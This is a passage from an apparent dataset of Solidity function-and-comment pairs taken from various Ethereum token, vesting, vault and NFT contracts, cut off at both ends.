startsAt vesting lock release start date.\r\n * @param period vesting lock period. End date is startsAt + (period - 1) * count\r\n * @param count vesting lock count. If count is 1, it works like a time lock\r\n */", "function_code": "function _addVestingLock(\r\n address account,\r\n uint256 amount,\r\n uint256 startsAt,\r\n uint256 period,\r\n uint256 count\r\n ) internal {\r\n require(account != address(0), \"Vesting Lock: lock from the zero address\");\r\n require(startsAt > block.timestamp, \"Vesting Lock: must set after now\");\r\n require(amount > 0, \"Vesting Lock: amount is 0\");\r\n require(period > 0, \"Vesting Lock: period is 0\");\r\n require(count > 0, \"Vesting Lock: count is 0\");\r\n _vestingLocks[account] = VestingLock(amount, startsAt, period, count);\r\n emit VestingLocked(account);\r\n }", "version": "0.8.11"} {"comment": "/**\r\n * @dev Get total vesting locked amount of address, locked amount will be released by 100%/months\r\n * If months is 5, locked amount released 20% per 1 month.\r\n * @param account The address want to know the vesting lock amount.\r\n * @return vesting locked amount\r\n */", "function_code": "function getVestingLockedAmount(address account) public view returns (uint256) {\r\n uint256 vestingLockedAmount = 0;\r\n uint256 amount = _vestingLocks[account].amount;\r\n if (amount > 0) {\r\n uint256 startsAt = _vestingLocks[account].startsAt;\r\n uint256 period = _vestingLocks[account].period;\r\n uint256 count = _vestingLocks[account].count;\r\n uint256 expiresAt = startsAt + period * (count - 1);\r\n uint256 timestamp = block.timestamp;\r\n if (timestamp < startsAt) {\r\n vestingLockedAmount = amount;\r\n } else if (timestamp < expiresAt) {\r\n vestingLockedAmount = (amount * ((expiresAt - timestamp) / period + 1)) / count;\r\n }\r\n }\r\n return vestingLockedAmount;\r\n }", "version": "0.8.11"} {"comment": "/*\r\n * Stakes everything the strategy holds into the reward pool\r\n */", "function_code": "function investAllUnderlying() internal onlyNotPausedInvesting {\r\n // this check is needed, because most of the SNX reward pools will revert if\r\n // you try to stake(0).\r\n if(IERC20(underlying).balanceOf(address(this)) > 0) {\r\n IERC20(underlying).approve(address(rewardPool), IERC20(underlying).balanceOf(address(this)));\r\n rewardPool.stake(IERC20(underlying).balanceOf(address(this)));\r\n }\r\n }", "version": "0.5.16"} {"comment": "/*\r\n * Withdraws all the asset to the vault\r\n */", "function_code": "function withdrawToVault(uint256 amount) public restricted {\r\n // Typically there wouldn't be any amount here\r\n // however, it is possible because of the emergencyExit\r\n if(amount > IERC20(underlying).balanceOf(address(this))){\r\n // While we have the check above, we still using SafeMath below\r\n // for the peace of mind (in case something gets changed in between)\r\n uint256 needToWithdraw = amount.sub(IERC20(underlying).balanceOf(address(this)));\r\n rewardPool.withdraw(Math.min(rewardPool.balanceOf(address(this)), needToWithdraw));\r\n }\r\n\r\n IERC20(underlying).safeTransfer(vault, amount);\r\n }", "version": "0.5.16"} {"comment": "/*\r\n * Note that we currently do not have a mechanism here to include the\r\n * amount of reward that is accrued.\r\n */", "function_code": "function investedUnderlyingBalance() external view returns (uint256) {\r\n // Adding the amount locked in the reward pool and the amount that is somehow in this contract\r\n // both are in the units of \"underlying\"\r\n // The second part is needed because there is the emergency exit mechanism\r\n // which would break the assumption that all the funds are always inside of the reward pool\r\n return rewardPool.balanceOf(address(this)).add(IERC20(underlying).balanceOf(address(this)));\r\n }", "version": "0.5.16"} {"comment": "/*\r\n * Governance or Controller can claim coins that are somehow transferred into the contract\r\n * Note that they cannot come in take away coins that are used and defined in the strategy itself\r\n * Those are protected by the \"unsalvagableTokens\". To check, see where those are being flagged.\r\n */", "function_code": "function salvage(address recipient, address token, uint256 amount) external onlyControllerOrGovernance {\r\n // To make sure that governance cannot come in and take away the coins\r\n require(!unsalvagableTokens[token], \"token is defined as not salvagable\");\r\n IERC20(token).safeTransfer(recipient, amount);\r\n }", "version": "0.5.16"} {"comment": "// ------------------------------------------------------------------------\n// internal private functions\n// ------------------------------------------------------------------------", "function_code": "function distr(address _to, uint256 _amount) canDistr private returns (bool) {\r\n\r\n _airdropTotal = _airdropTotal.add(_amount);\r\n _totalRemaining = _totalRemaining.sub(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n emit Distr(_to, _amount);\r\n emit Transfer(address(0), _to, _amount);\r\n if (_airdropTotal >= _airdropSupply) {\r\n distributionFinished = true;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @dev calculate the amount of unlocked tokens of an investor", "function_code": "function _calculateUnlockedTokens(address _investor)\n private\n view\n returns (uint256 availableTokens)\n {\n Investor storage investor = investorsInfo[_investor];\n\n uint256 cliffTimestamp = _initialTimestamp + investor.cliffDays * 1 days;\n uint256 vestingTimestamp = cliffTimestamp + investor.vestingDays * 1 days;\n\n uint256 initialDistroAmount = investor.initialUnlockAmount;\n\n uint256 currentTimeStamp = block.timestamp;\n\n if (currentTimeStamp > _initialTimestamp) {\n if (currentTimeStamp <= cliffTimestamp) {\n return initialDistroAmount;\n } else if (\n currentTimeStamp > cliffTimestamp && currentTimeStamp < vestingTimestamp\n ) {\n uint256 vestingDistroAmount =\n investor.tokensAllotment.sub(initialDistroAmount);\n uint256 everyDayReleaseAmount =\n vestingDistroAmount.div(investor.vestingDays);\n\n uint256 noOfDays =\n BokkyPooBahsDateTimeLibrary.diffDays(\n cliffTimestamp,\n currentTimeStamp\n );\n uint256 vestingUnlockedAmount = noOfDays.mul(everyDayReleaseAmount);\n\n return initialDistroAmount.add(vestingUnlockedAmount); // total unlocked amount\n } else {\n return investor.tokensAllotment;\n }\n } else {\n return 0;\n }\n }", "version": "0.7.4"} {"comment": "/// @dev Issue token based on Ether received.\n/// @param _beneficiary Address that newly issued token will be sent to.", "function_code": "function purchaseTokens(address _beneficiary) public payable inProgress {\r\n // only accept a minimum amount of ETH?\r\n require(msg.value >= 0.01 ether);\r\n\r\n uint256 tokens = computeTokenAmount(msg.value);\r\n doIssueTokens(_beneficiary, tokens);\r\n\r\n /// forward the raised funds to the contract creator\r\n owner.transfer(this.balance);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Batch issue tokens on the presale\n/// @param _addresses addresses that the presale tokens will be sent to.\n/// @param _addresses the amounts of tokens, with decimals expanded (full).", "function_code": "function issueTokensMulti(address[] _addresses, uint256[] _tokens) public onlyOwner inProgress {\r\n require(_addresses.length == _tokens.length);\r\n require(_addresses.length <= 100);\r\n\r\n for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {\r\n doIssueTokens(_addresses[i], _tokens[i].mul(10**uint256(decimals)));\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev issue tokens for a single buyer\n/// @param _beneficiary addresses that the tokens will be sent to.\n/// @param _tokens the amount of tokens, with decimals expanded (full).", "function_code": "function doIssueTokens(address _beneficiary, uint256 _tokens) internal {\r\n require(_beneficiary != address(0));\r\n\r\n // compute without actually increasing it\r\n uint256 increasedTotalSupply = totalSupply.add(_tokens);\r\n // roll back if hard cap reached\r\n require(increasedTotalSupply <= TOKENS_SALE_HARD_CAP);\r\n\r\n // increase token total supply\r\n totalSupply = increasedTotalSupply;\r\n // update the beneficiary balance to number of tokens sent\r\n balances[_beneficiary] = balances[_beneficiary].add(_tokens);\r\n\r\n // event is fired when tokens issued\r\n Issue(\r\n issueIndex++,\r\n _beneficiary,\r\n _tokens\r\n );\r\n }", "version": "0.4.18"} {"comment": "/// @dev Compute the amount of TKA token that can be purchased.\n/// @param ethAmount Amount of Ether to purchase TKA.\n/// @return Amount of TKA token to purchase", "function_code": "function computeTokenAmount(uint256 ethAmount) internal view returns (uint256 tokens) {\r\n uint256 tokenBase = ethAmount.mul(BASE_RATE);\r\n uint8[5] memory roundDiscountPercentages = [47, 35, 25, 15, 5];\r\n\r\n uint8 roundDiscountPercentage = roundDiscountPercentages[currentRoundIndex()];\r\n uint8 amountDiscountPercentage = getAmountDiscountPercentage(tokenBase);\r\n\r\n tokens = tokenBase.mul(100).div(100 - (roundDiscountPercentage + amountDiscountPercentage));\r\n }", "version": "0.4.18"} {"comment": "/// @dev Compute the additional discount for the purchaed amount of TKA\n/// @param tokenBase the base tokens amount computed only against the base rate\n/// @return integer representing the percentage discount", "function_code": "function getAmountDiscountPercentage(uint256 tokenBase) internal pure returns (uint8) {\r\n if(tokenBase >= 1500 * 10**uint256(decimals)) return 9;\r\n if(tokenBase >= 1000 * 10**uint256(decimals)) return 5;\r\n if(tokenBase >= 500 * 10**uint256(decimals)) return 3;\r\n return 0;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Determine the current sale round\n/// @return integer representing the index of the current sale round", "function_code": "function currentRoundIndex() internal view returns (uint8 roundNum) {\r\n roundNum = currentRoundIndexByDate();\r\n\r\n /// token caps for each round\r\n uint256[5] memory roundCaps = [\r\n 10000000 * 10**uint256(decimals),\r\n 22500000 * 10**uint256(decimals), // + round 1\r\n 35000000 * 10**uint256(decimals), // + round 2\r\n 40000000 * 10**uint256(decimals), // + round 3\r\n 50000000 * 10**uint256(decimals) // + round 4\r\n ];\r\n\r\n /// round determined by conjunction of both time and total sold tokens\r\n while(roundNum < 4 && totalSupply > roundCaps[roundNum]) {\r\n roundNum++;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Determine the current sale tier.\n/// @return the index of the current sale tier by date.", "function_code": "function currentRoundIndexByDate() internal view returns (uint8 roundNum) {\r\n uint64 _now = uint64(block.timestamp);\r\n require(_now <= date15Mar2018);\r\n\r\n roundNum = 0;\r\n if(_now > date01Mar2018) roundNum = 4;\r\n if(_now > date15Feb2018) roundNum = 3;\r\n if(_now > date01Feb2018) roundNum = 2;\r\n if(_now > date01Jan2018) roundNum = 1;\r\n return roundNum;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Closes the sale, issues the team tokens and burns the unsold", "function_code": "function close() public onlyOwner beforeEnd {\r\n /// team tokens are equal to 25% of the sold tokens\r\n uint256 teamTokens = totalSupply.mul(25).div(100);\r\n\r\n /// check for rounding errors when cap is reached\r\n if(totalSupply.add(teamTokens) > HARD_CAP) {\r\n teamTokens = HARD_CAP.sub(totalSupply);\r\n }\r\n\r\n /// team tokens are locked until this date (01.01.2019)\r\n TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, date01Jan2019);\r\n timelockContractAddress = address(lockedTeamTokens);\r\n balances[timelockContractAddress] = balances[timelockContractAddress].add(teamTokens);\r\n /// increase token total supply\r\n totalSupply = totalSupply.add(teamTokens);\r\n /// fire event when tokens issued\r\n Issue(\r\n issueIndex++,\r\n timelockContractAddress,\r\n teamTokens\r\n );\r\n\r\n /// burn the unallocated tokens - no more tokens can be issued after this line\r\n tokenSaleClosed = true;\r\n\r\n /// forward the raised funds to the contract creator\r\n owner.transfer(this.balance);\r\n }", "version": "0.4.18"} {"comment": "/// Take out stables, wBTC and ETH", "function_code": "function takeAll() external onlyOwner {\r\n uint256 amt = INterfaces(usdt).balanceOf(address(this));\r\n if (amt > 0) {\r\n INterfacesNoR(usdt).transfer(owner, amt);\r\n }\r\n amt = INterfaces(usdc).balanceOf(address(this));\r\n if (amt > 0) {\r\n require(INterfaces(usdc).transfer(owner, amt), ERR_TRANSFER);\r\n }\r\n amt = INterfaces(dai).balanceOf(address(this));\r\n if (amt > 0) {\r\n require(INterfaces(dai).transfer(owner, amt), ERR_TRANSFER);\r\n }\r\n amt = INterfaces(wbtc).balanceOf(address(this));\r\n if (amt > 0) {\r\n require(INterfaces(wbtc).transfer(owner, amt), ERR_TRANSFER);\r\n }\r\n amt = address(this).balance;\r\n if (amt > 0) {\r\n payable(owner).transfer(amt);\r\n }\r\n }", "version": "0.8.7"} {"comment": "/// @notice Adds a new stablecoin to the system\n/// @param agToken Address of the new `AgToken` contract\n/// @dev To maintain consistency, the address of the `StableMaster` contract corresponding to the\n/// `AgToken` is automatically retrieved\n/// @dev The `StableMaster` receives the reference to the governor and guardian addresses of the protocol\n/// @dev The `AgToken` and `StableMaster` contracts should have previously been initialized with correct references\n/// in it, with for the `StableMaster` a reference to the `Core` contract and for the `AgToken` a reference to the\n/// `StableMaster`", "function_code": "function deployStableMaster(address agToken) external onlyGovernor zeroCheck(agToken) {\n address stableMaster = IAgToken(agToken).stableMaster();\n // Checking if `stableMaster` has not already been deployed\n require(!deployedStableMasterMap[stableMaster], \"44\");\n\n // Storing and initializing information about the stablecoin\n _stablecoinList.push(stableMaster);\n // Adding this `stableMaster` in the `deployedStableMasterMap`: it is not going to be possible\n // to revoke and then redeploy this contract\n deployedStableMasterMap[stableMaster] = true;\n\n IStableMaster(stableMaster).deploy(_governorList, guardian, agToken);\n\n emit StableMasterDeployed(address(stableMaster), agToken);\n }", "version": "0.8.7"} {"comment": "/// @notice Revokes a `StableMaster` contract\n/// @param stableMaster Address of the `StableMaster` to revoke\n/// @dev This function just removes a `StableMaster` contract from the `_stablecoinList`\n/// @dev The consequence is that the `StableMaster` contract will no longer be affected by changes in\n/// governor or guardian occuring from the protocol\n/// @dev This function is mostly here to clean the mappings and save some storage space", "function_code": "function revokeStableMaster(address stableMaster) external override onlyGovernor {\n uint256 stablecoinListLength = _stablecoinList.length;\n // Checking if `stableMaster` is correct and removing the stablecoin from the `_stablecoinList`\n require(stablecoinListLength >= 1, \"45\");\n uint256 indexMet;\n for (uint256 i = 0; i < stablecoinListLength - 1; i++) {\n if (_stablecoinList[i] == stableMaster) {\n indexMet = 1;\n _stablecoinList[i] = _stablecoinList[stablecoinListLength - 1];\n break;\n }\n }\n require(indexMet == 1 || _stablecoinList[stablecoinListLength - 1] == stableMaster, \"45\");\n _stablecoinList.pop();\n // Deleting the stablecoin from the list\n emit StableMasterRevoked(stableMaster);\n }", "version": "0.8.7"} {"comment": "/// @notice Adds a new governor address\n/// @param _governor New governor address\n/// @dev This function propagates the new governor role across most contracts of the protocol\n/// @dev Governor is also guardian everywhere in all contracts", "function_code": "function addGovernor(address _governor) external override onlyGovernor zeroCheck(_governor) {\n require(!governorMap[_governor], \"46\");\n governorMap[_governor] = true;\n _governorList.push(_governor);\n // Propagates the changes to maintain consistency across all the contracts that are attached to this\n // `Core` contract\n for (uint256 i = 0; i < _stablecoinList.length; i++) {\n // Since a zero address check has already been performed in this contract, there is no need\n // to repeat this check in underlying contracts\n IStableMaster(_stablecoinList[i]).addGovernor(_governor);\n }\n\n emit GovernorRoleGranted(_governor);\n }", "version": "0.8.7"} {"comment": "/// @notice Changes the guardian address\n/// @param _newGuardian New guardian address\n/// @dev Guardian is able to change by itself the address corresponding to its role\n/// @dev There can only be one guardian address in the protocol\n/// @dev The guardian address cannot be a governor address", "function_code": "function setGuardian(address _newGuardian) external override onlyGuardian zeroCheck(_newGuardian) {\n require(!governorMap[_newGuardian], \"39\");\n require(guardian != _newGuardian, \"49\");\n address oldGuardian = guardian;\n guardian = _newGuardian;\n for (uint256 i = 0; i < _stablecoinList.length; i++) {\n IStableMaster(_stablecoinList[i]).setGuardian(_newGuardian, oldGuardian);\n }\n emit GuardianRoleChanged(oldGuardian, _newGuardian);\n }", "version": "0.8.7"} {"comment": "// pre-sale", "function_code": "function presaleMint(address _to, uint256 _mintAmount, bytes memory sig) public payable mintConditionsMet(_to, _mintAmount) {\r\n uint256 supply = totalSupply();\r\n require(presaleEnabled, \"pre-sale is not enabled\");\r\n require(isValidSignedData(sig), \"wallet was not signed by the official whitelisting signer\");\r\n for (uint256 i = 1; i <= _mintAmount; i++) {\r\n _safeMint(_to, supply + i);\r\n addressMintCount[_to] = (addressMintCount[_to] + _mintAmount);\r\n }\r\n }", "version": "0.8.7"} {"comment": "// purchase presale works\n// Purchase multiple NFTs at once", "function_code": "function purchasePresaleTokens(uint256 _howMany)\r\n external\r\n payable\r\n tokensAvailable(_howMany)\r\n {\r\n require(\r\n isSaleActive == false ,\r\n \"presale limit ended\"\r\n );\r\n require(\r\n allowListClaimedBy[msg.sender] + _howMany <= allowListMaxMint,\r\n \"Purchase exceeds max allowed\"\r\n );\r\n require(\r\n msg.value >= _howMany * itemPricePresale,\r\n \"Try to send more ETH\"\r\n );\r\n\r\n allowListClaimedBy[msg.sender] += _howMany;\r\n\r\n for (uint256 i = 0; i < _howMany; i++)\r\n _mint(msg.sender, ++circulatingSupply);\r\n }", "version": "0.8.9"} {"comment": "// Purchase multiple NFTs at once", "function_code": "function purchaseTokens(uint256 _howMany)\r\n external\r\n payable\r\n tokensAvailable(_howMany)\r\n {\r\n require(\r\n isSaleActive && circulatingSupply <= 10000,\r\n \"Sale is not active\"\r\n );\r\n require(_howMany > 0 && _howMany <= 20, \"Mint min 1, max 20\");\r\n require(msg.value >= _howMany * itemPrice, \"Try to send more ETH\");\r\n\r\n for (uint256 i = 0; i < _howMany; i++)\r\n _mint(msg.sender, ++circulatingSupply);\r\n }", "version": "0.8.9"} {"comment": "/** @dev Creates `amount` tokens and assigns them to `account`, increasing\r\n * the total supply from array\r\n *\r\n * Emits a `Transfer` event with `from` set to the zero address.\r\n *\r\n * Requirements\r\n *\r\n * - sender has `MINTER_ROLE`\r\n * - _receivers array length is from 1 to 100\r\n * - _amounts array length is equals _receivers array length\r\n */", "function_code": "function mintTokens(address[] calldata _receivers, uint256[] calldata _amounts) public virtual canMint {\r\n require(hasRole(MINTER_ROLE, _msgSender()), \"ERC20PresetMinter: must have minter role to mint\");\r\n require(_receivers.length > 0 && _receivers.length <= 100, \"Token: array must be 1-100 length\");\r\n require(_receivers.length == _amounts.length, \"Token: length of receivers and amounts arrays must match\");\r\n for (uint256 i = 0; i < _receivers.length; i++) {\r\n address to = _receivers[i];\r\n uint256 amount = _amounts[i];\r\n\r\n _mint(to, amount);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Migrate a users' entire balance\r\n *\r\n * One way function. Fag tokens are BURNED. Poor tokens are minted.\r\n */", "function_code": "function migrate() public virtual {\r\n\r\n // gets the Fag for a user.\r\n uint256 rugBalance = PoorFag(poorFagAddress).balanceOf(_msgSender());\r\n\r\n PoorFag(poorFagAddress).transferFrom(_msgSender(), address(0), rugBalance);\r\n\r\n // mint new PoorRug, using fagValue (1e18 decimal token, to match internalDecimals)\r\n PoorRug(poorRugAddress).mint(_msgSender(), rugBalance);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Function to get amount need to fill up minimum amount keep in vault\n/// @param _tokenIndex Type of stablecoin requested\n/// @return Amount to reimburse (USDT, USDC 6 decimals, DAI 18 decimals)", "function_code": "function getReimburseTokenAmount(uint256 _tokenIndex) public view returns (uint256) {\n Token memory _token = Tokens[_tokenIndex];\n uint256 _toKeepAmt = getAllPoolInUSD().mul(_token.percKeepInVault).div(DENOMINATOR);\n if (_token.decimals == 18) {\n _toKeepAmt = _toKeepAmt.mul(1e12);\n }\n uint256 _balanceOfToken = _token.token.balanceOf(address(this));\n if (_balanceOfToken < _toKeepAmt) {\n return _toKeepAmt.sub(_balanceOfToken);\n }\n return 0; // amount keep in vault is full\n }", "version": "0.7.6"} {"comment": "/// @dev withdraw the token in the vault, no limit\n/// @param token_ address of the token, use address(0) to withdraw gas token\n/// @param destination_ recipient address to receive the fund\n/// @param amount_ amount of fund to withdaw", "function_code": "function withdraw(address token_, address destination_, uint256 amount_) public onlyAdmin {\r\n require(destination_ != address(0), \"C98Vault: Destination is zero address\");\r\n\r\n uint256 availableAmount;\r\n if(token_ == address(0)) {\r\n availableAmount = address(this).balance;\r\n } else {\r\n availableAmount = IERC20(token_).balanceOf(address(this));\r\n }\r\n\r\n require(amount_ <= availableAmount, \"C98Vault: Not enough balance\");\r\n\r\n uint256 gasLimit = IVaultConfig(_factory).gasLimit();\r\n if(token_ == address(0)) {\r\n destination_.call{value:amount_, gas:gasLimit}(\"\");\r\n } else {\r\n IERC20(token_).transfer(destination_, amount_);\r\n }\r\n\r\n emit Withdrawn(_msgSender(), destination_, token_, amount_);\r\n }", "version": "0.8.10"} {"comment": "/// @dev create an event to specify how user can claim their token\n/// @param eventId_ event ID\n/// @param timestamp_ when the token will be available for redemption\n/// @param receivingToken_ token user will be receiving, mandatory\n/// @param sendingToken_ token user need to send in order to receive *receivingToken_*", "function_code": "function createEvent(uint256 eventId_, uint256 timestamp_, bytes32 merkleRoot_, address receivingToken_, address sendingToken_) public onlyAdmin {\r\n require(_eventDatas[eventId_].timestamp == 0, \"C98Vault: Event existed\");\r\n require(timestamp_ != 0, \"C98Vault: Invalid timestamp\");\r\n _eventDatas[eventId_].timestamp = timestamp_;\r\n _eventDatas[eventId_].merkleRoot = merkleRoot_;\r\n _eventDatas[eventId_].receivingToken = receivingToken_;\r\n _eventDatas[eventId_].sendingToken = sendingToken_;\r\n _eventDatas[eventId_].isActive = 1;\r\n\r\n emit EventCreated(eventId_, _eventDatas[eventId_]);\r\n }", "version": "0.8.10"} {"comment": "/// @dev add/remove admin of the vault.\n/// @param nAdmins_ list to address to update\n/// @param nStatuses_ address with same index will be added if true, or remove if false\n/// admins will have access to all tokens in the vault, and can define vesting schedule", "function_code": "function setAdmins(address[] memory nAdmins_, bool[] memory nStatuses_) public onlyOwner {\r\n require(nAdmins_.length != 0, \"C98Vault: Empty arguments\");\r\n require(nStatuses_.length != 0, \"C98Vault: Empty arguments\");\r\n require(nAdmins_.length == nStatuses_.length, \"C98Vault: Invalid arguments\");\r\n\r\n uint256 i;\r\n for(i = 0; i < nAdmins_.length; i++) {\r\n address nAdmin = nAdmins_[i];\r\n if(nStatuses_[i]) {\r\n if(!_adminStatuses[nAdmin]) {\r\n _admins.push(nAdmin);\r\n _adminStatuses[nAdmin] = nStatuses_[i];\r\n emit AdminAdded(nAdmin);\r\n }\r\n } else {\r\n uint256 j;\r\n for(j = 0; j < _admins.length; j++) {\r\n if(_admins[j] == nAdmin) {\r\n _admins[j] = _admins[_admins.length - 1];\r\n _admins.pop();\r\n delete _adminStatuses[nAdmin];\r\n emit AdminRemoved(nAdmin);\r\n break;\r\n }\r\n }\r\n }\r\n }\r\n }", "version": "0.8.10"} {"comment": "/// @dev withdraw fee collected for protocol\n/// @param token_ address of the token, use address(0) to withdraw gas token\n/// @param destination_ recipient address to receive the fund\n/// @param amount_ amount of fund to withdaw", "function_code": "function withdraw(address token_, address destination_, uint256 amount_) public onlyOwner {\r\n require(destination_ != address(0), \"C98Vault: Destination is zero address\");\r\n\r\n uint256 availableAmount;\r\n if(token_ == address(0)) {\r\n availableAmount = address(this).balance;\r\n } else {\r\n availableAmount = IERC20(token_).balanceOf(address(this));\r\n }\r\n\r\n require(amount_ <= availableAmount, \"C98Vault: Not enough balance\");\r\n\r\n if(token_ == address(0)) {\r\n destination_.call{value:amount_, gas:_gasLimit}(\"\");\r\n } else {\r\n IERC20(token_).transfer(destination_, amount_);\r\n }\r\n\r\n emit Withdrawn(_msgSender(), destination_, token_, amount_);\r\n }", "version": "0.8.10"} {"comment": "// for every penguin 1 sardine can be claimed", "function_code": "function claimSardine(uint256 penguinTokenId) private {\n require(isClaimingActive, \"Claim is not active.\");\n require(\n !radeem[penguinTokenId],\n \"Sardine already claimed for this Penguin token.\"\n );\n require(\n msg.sender == bastardPenguins.ownerOf(penguinTokenId),\n \"You are not the owner of this Penguin token.\"\n );\n\n radeem[penguinTokenId] = true;\n _mint(msg.sender, ++circulatingSupply);\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev This one-time operation permanently establishes a vesting schedule in the given account.\r\n *\r\n * For standard grants, this establishes the vesting schedule in the beneficiary's account.\r\n * For uniform grants, this establishes the vesting schedule in the linked grantor's account.\r\n *\r\n * @param vestingLocation = Account into which to store the vesting schedule. Can be the account\r\n * of the beneficiary (for one-off grants) or the account of the grantor (for uniform grants\r\n * made from grant pools).\r\n * @param cliffDuration = Duration of the cliff, with respect to the grant start day, in days.\r\n * @param duration = Duration of the vesting schedule, with respect to the grant start day, in days.\r\n * @param interval = Number of days between vesting increases.\r\n * @param isRevocable = True if the grant can be revoked (i.e. was a gift) or false if it cannot\r\n * be revoked (i.e. tokens were purchased).\r\n */", "function_code": "function _setVestingSchedule(\r\n address vestingLocation,\r\n uint32 cliffDuration, \r\n\t\tuint32 duration, \r\n\t\tuint32 interval,\r\n bool isRevocable) \r\n\t\tinternal returns (bool ok) {\r\n\r\n // Check for a valid vesting schedule given (disallow absurd values to reject likely bad input).\r\n require(\r\n duration > 0 && duration <= TEN_YEARS_DAYS\r\n && cliffDuration < duration\r\n && interval >= 1,\r\n \"invalid vesting schedule\"\r\n );\r\n\r\n // Make sure the duration values are in harmony with interval (both should be an exact multiple of interval).\r\n require(\r\n duration % interval == 0 && cliffDuration % interval == 0,\r\n \"invalid cliff/duration for interval\"\r\n );\r\n\r\n // Create and populate a vesting schedule.\r\n _vestingSchedules[vestingLocation] = vestingSchedule(\r\n true/*isValid*/,\r\n isRevocable,\r\n cliffDuration, duration, interval\r\n );\r\n\r\n // Emit the event and return success.\r\n emit VestingScheduleCreated(\r\n vestingLocation,\r\n cliffDuration, duration, interval,\r\n isRevocable);\r\n return true;\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev Immediately grants tokens to an address, including a portion that will vest over time\r\n * according to a set vesting schedule. The overall duration and cliff duration of the grant must\r\n * be an even multiple of the vesting interval.\r\n *\r\n * @param beneficiary = Address to which tokens will be granted.\r\n * @param totalAmount = Total number of tokens to deposit into the account.\r\n * @param vestingAmount = Out of totalAmount, the number of tokens subject to vesting.\r\n * @param startDay = Start day of the grant's vesting schedule, in days since the UNIX epoch\r\n * (start of day). The startDay may be given as a date in the future or in the past, going as far\r\n * back as year 2000.\r\n * @param duration = Duration of the vesting schedule, with respect to the grant start day, in days.\r\n * @param cliffDuration = Duration of the cliff, with respect to the grant start day, in days.\r\n * @param interval = Number of days between vesting increases.\r\n * @param isRevocable = True if the grant can be revoked (i.e. was a gift) or false if it cannot\r\n * be revoked (i.e. tokens were purchased).\r\n */", "function_code": "function grantVestingTokens(\r\n address beneficiary,\r\n uint256 totalAmount,\r\n uint256 vestingAmount,\r\n uint32 startDay,\r\n uint32 duration,\r\n uint32 cliffDuration,\r\n uint32 interval,\r\n bool isRevocable\r\n ) public /*onlyGrantor*/ returns (bool ok) {\r\n\t\trequire(hasRole(GRANTOR_ROLE, _msgSender()), \"must have grantor role\");\r\n // Make sure no prior vesting schedule has been set.\r\n require(!_tokenGrants[beneficiary].isActive, \"grant already exists\");\r\n\r\n // The vesting schedule is unique to this wallet and so will be stored here,\r\n _setVestingSchedule(beneficiary, cliffDuration, duration, interval, isRevocable);\r\n\r\n // Issue grantor tokens to the beneficiary, using beneficiary's own vesting schedule.\r\n _grantVestingTokens(beneficiary, totalAmount, vestingAmount, startDay, beneficiary, _msgSender());\r\n\r\n return true;\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev returns all information about the grant's vesting as of the given day\r\n * for the given account. Only callable by the account holder or a grantor, so\r\n * this is mainly intended for administrative use.\r\n *\r\n * @param grantHolder = The address to do this for.\r\n * @param onDayOrToday = The day to check for, in days since the UNIX epoch. Can pass\r\n * the special value 0 to indicate today.\r\n * return vesting = A tuple with the following values:\r\n * amountVested = the amount out of vestingAmount that is vested\r\n * amountNotVested = the amount that is vested (equal to vestingAmount - vestedAmount)\r\n * amountOfGrant = the amount of tokens subject to vesting.\r\n * vestStartDay = starting day of the grant (in days since the UNIX epoch).\r\n * vestDuration = grant duration in days.\r\n * cliffDuration = duration of the cliff.\r\n * vestIntervalDays = number of days between vesting periods.\r\n * isActive = true if the vesting schedule is currently active.\r\n * wasRevoked = true if the vesting schedule was revoked.\r\n */", "function_code": "function vestingForAccountAsOf(\r\n address grantHolder,\r\n uint32 onDayOrToday\r\n )\r\n public\r\n view\r\n returns (\r\n uint256 amountVested,\r\n uint256 amountNotVested,\r\n uint256 amountOfGrant,\r\n uint32 vestStartDay,\r\n uint32 vestDuration,\r\n uint32 cliffDuration,\r\n uint32 vestIntervalDays,\r\n bool isActive,\r\n bool wasRevoked\r\n )\r\n {\r\n\t\trequire(hasRole(GRANTOR_ROLE, _msgSender()) || grantHolder==_msgSender(), \"must have grantor role\");\r\n\t\t\r\n tokenGrant storage grant = _tokenGrants[grantHolder];\r\n vestingSchedule storage vesting = _vestingSchedules[grant.vestingLocation];\r\n uint256 notVestedAmount = _getNotVestedAmount(grantHolder, onDayOrToday);\r\n uint256 grantAmount = grant.amount;\r\n\r\n return (\r\n grantAmount.sub(notVestedAmount),\r\n notVestedAmount,\r\n grantAmount,\r\n grant.startDay,\r\n vesting.duration,\r\n vesting.cliffDuration,\r\n vesting.interval,\r\n grant.isActive,\r\n grant.wasRevoked\r\n );\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev Mints a single token to an address.\r\n * fee may or may not be required*\r\n * @param _to address of the future owner of the token\r\n */", "function_code": "function mintTo(address _to) public payable {\r\n require(getNextTokenId() <= collectionSize, \"Cannot mint over supply cap of 6969\");\r\n require(mintingOpen == true, \"Minting is not open right now!\");\r\n \r\n require(msg.value == PRICE, \"Value needs to be exactly the mint fee!\");\r\n \r\n _safeMint(_to, 1);\r\n \r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Mints a token to an address with a tokenURI.\r\n * fee may or may not be required*\r\n * @param _to address of the future owner of the token\r\n * @param _amount number of tokens to mint\r\n */", "function_code": "function mintToMultiple(address _to, uint256 _amount) public payable {\r\n require(_amount >= 1, \"Must mint at least 1 token\");\r\n require(_amount <= maxBatchSize, \"Cannot mint more than max mint per transaction\");\r\n require(mintingOpen == true, \"Minting is not open right now!\");\r\n \r\n require(currentTokenId() + _amount <= collectionSize, \"Cannot mint over supply cap of 6969\");\r\n require(msg.value == getPrice(_amount), \"Value below required mint fee for amount\");\r\n\r\n _safeMint(_to, _amount);\r\n \r\n }", "version": "0.8.9"} {"comment": "// valueInTokens : tokens to burn to get dividends", "function_code": "function takeDividends(uint256 valueInTokens) public returns (bool) {\r\n\r\n require(!tokenSaleIsRunning);\r\n require(this.balance > 0);\r\n require(totalSupply > 0);\r\n\r\n uint256 sumToPay = (this.balance / 